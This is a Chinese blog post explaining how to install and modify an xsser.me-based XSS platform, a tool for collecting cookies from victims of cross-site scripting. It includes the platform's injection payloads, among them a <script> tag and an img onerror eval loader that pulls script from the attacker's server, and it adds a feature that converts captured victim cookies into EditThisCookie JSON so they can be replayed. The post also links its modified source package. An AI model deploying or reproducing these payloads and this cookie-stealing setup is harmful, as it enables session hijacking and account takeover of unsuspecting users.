XSS 平台搭建与优化(基于 xsser.me 源码)

这个周花了点时间捣鼓公司内网论坛,不幸发现原来搭建的 xss platform 挂了,于是重新找了一份代码进行搭建。

在 zone 里面找了一份别人优化过的代码,作者是 Gosuto ,地址点我

为什么选择这个呢,主要是因为作者用 Bootstrap 对xsser.me的默认主题进行了修改,看起来高大上了很多~(至于兼容移动端神马的就算了吧0 0)

下载源码后,照着作者写的安装说明进行修改就好了:

  • 修改config.php里面的数据库连接字段,包括数据库配置(用户名、密码、数据库名)、网站 URL 路径伪静态配置
  • 把根目录下的xssplatform.sql导入到数据库中。
  • 在数据库中执行 SQL 语句,把数据库中的域名改为自己的域名:

UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss')

  • 替换authtest.php中的域名为自己的域名。
  • 首次注册成功后,修改user表中用户对应的adminlevel为1,将自己定义为超级管理员,可以发送和管理邀请码。
  • 根据 server 类型配置伪静态文件:

       Apache

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w.]+?))?$  /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.?)$ /index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.?)$ /index.php?do=register&act=validate&key=$1 [L]

       Nginx

rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;
rewrite "^/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=$3 break;
rewrite "^/register/(.?)$" /index.php?do=register&key=$1 break;
rewrite "^/register-validate/(.?)$" /index.php?do=register&act=validate&key=$1 break;
rewrite "^/login$" /index.php?do=login break;

到这里xss platform就搭建完成了。


我在使用过程碰到的一些 bug,于是对源代码进行了一番修改。

1. 短地址接口部分失效

项目代码中有一个转换短地址的功能,当然原版的xsser.me是没有的,是另外的作者集成进来的。

代码里提供t.cnis.gd的短地址转换,对应函数在source/function.php中的第350行和357行。由于is.gd的 api 地址已经失效,所以我决定把这一块内容去掉。

先删掉页面上展示的内容,打开templates_c/%%4D^4D3^4D30CF2A%%project_viewcode.html.php,将下面代码去掉:

<p>
    <pre>
        <?php echo $this->_tpl_vars['shortShow1']; ?>
    </pre>
</p>

然后在source/project.php里面注释下面两行:

$shortUrl2=LongUrltoShortUrl2($longUrl);//短网址2
$shortShow2=StripStr("<script src=".$shortUrl2."></script>");

2. 去掉JS地址后面的时间戳

JS 地址后面加入时间戳,是为了在修改 JS 代码后,刷新对方浏览器中缓存的 JS。但在实际测试中感觉作用不是很大,一般代码修改完刷新一下网页出来的就是新代码。所以我把 JS URL 中的时间戳去掉了。

source/project.php里进行下面的修改:

//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";

//$scriptShow1=StripStr("<textarea>'"<script src=".URL_ROOT."/{$project[urlKey]}?".time()."></script>"); $scriptShow1=StripStr("<script src=".URL_ROOT."/{$project[urlKey]}></script>");

//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);'; $code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';

//$scriptShow2=StripStr("</textarea>'&quot;><img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>"); $scriptShow2=StripStr("<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");

3. HTML 部分优化

代码中部分 Javascript 和 CSS 资源都是通过国外 CDN 获取的,有时候页面 load 很久才出来,于是把文中引用的资源都改为本地,当然改成国内 CDN 地址也可以。

在 Sublime Text 中对目录进行搜索,找出jquery-1.9.1.min.jsbootstrap.min.js引用的地方,然后修改为本地引用,文件放在themes/default里对应的文件夹。

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
//修改为:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/jquery.min.js"></script>

<script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script>
//修改为:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/bootstrap.min.js"></script>

PS.注意修改后的代码为两行。

PPS.其实引用的 Javascript 文件最好放在<body>的最后,但这里需要手动找到所有的 Javascript 进行修改,太麻烦了就没做。

4. 添加 cookie 复制功能

一般来说,打到对方 cookie 后,会借用EditThisCookie这个工具把 cookie 导入到 chrome 中。但document.cookie输出的 cookie 不能直接导入,需要转换成EditThisCookie规定的 JSON 格式。

源代码中本身自带了实现复制功能的 JS 代码,但默认是注释掉的,因为没有完整实现。同时,这个复制只是把 JSON 化后的 cookie 通过alert()打印到屏幕上,当 cookie 内容过多时,alert 窗口并不能展示所有的内容。

于是我决定对这个功能进行修改,在完成 JSON 格式化的同时,把 JSON 内容放入到剪贴板中。

首先对原有 HTML 节点进行修改,打开%%33^334^334DB811%%project_view.html.php ,找到下面内容:

<li>
<?php echo $this->_tpl_vars['ck']; ?>
<?php echo $this->_tpl_vars['c']; ?> </li>

修改为:

<li>
<?php echo $this->_tpl_vars['ck']; ?>
<span id="<?php echo $this->tpl_vars['ck']; ?>"><?php echo $this->tpl_vars['c']; ?></span> </li>

<tr class="ohidden">

修改为:

<tr id="<?php echo $this->_tpl_vars['v']['id']; ?>" class="ohidden">

<!--
            &nbsp;&nbsp;<a href="javascript:void(0)" onclick="Copy(this)">复制</a> 
            -->

修改为:

&nbsp;&nbsp;<a href="javascript:void(0)" onclick="Copy(this)">复制</a>

当某一条记录没有location或者cookie值的时候,Copy()函数会报错,所以要加一个判断条件:

var table = $(obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();

修改为:

var table = $("#"+obj).parent().parent(); var l = table.find("#location").text(); var c = table.find("#cookie").text(); if (l == "" || c == "") { return ""; }

修改Copy()函数的返回形式:

alert(JSON.stringify(data));

修改为:

return JSON.stringify(data);

为了实现让 JSON 数据复制到粘贴板上,我们需要借助ZeroClipboard.js这个插件。下面是调用代码:

<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/ZeroClipboard.min.js"></script>

ZeroClipboard.config( { swfPath: "'.$this->_tpl_vars['url']['themePath'].'/swf/ZeroClipboard.swf" } );
var client = new ZeroClipboard($(".CopyBtn"));
client.on('copy', function(event) {
  var clipboard = event.clipboardData;
  clipboard.clearData();
  clipboard.setData("text/plain", Copy(event.target.id));
});
client.on('aftercopy', function(event) {
  if (typeof(event.success['text/plain']) == "undefined") {
    alert("cookie复制失败,请检查cookie格式~");
  }
  else {
    alert("cookie已复制到剪贴板,可以导入EditThisCookie啦~");
  }
});

这样就大功告成了~


另外还有一些细微的改动就不说了,反正现在用起来挺好的~

最后放上我修改后的源码包~

下载地址:xss_platform.tgz

« 返回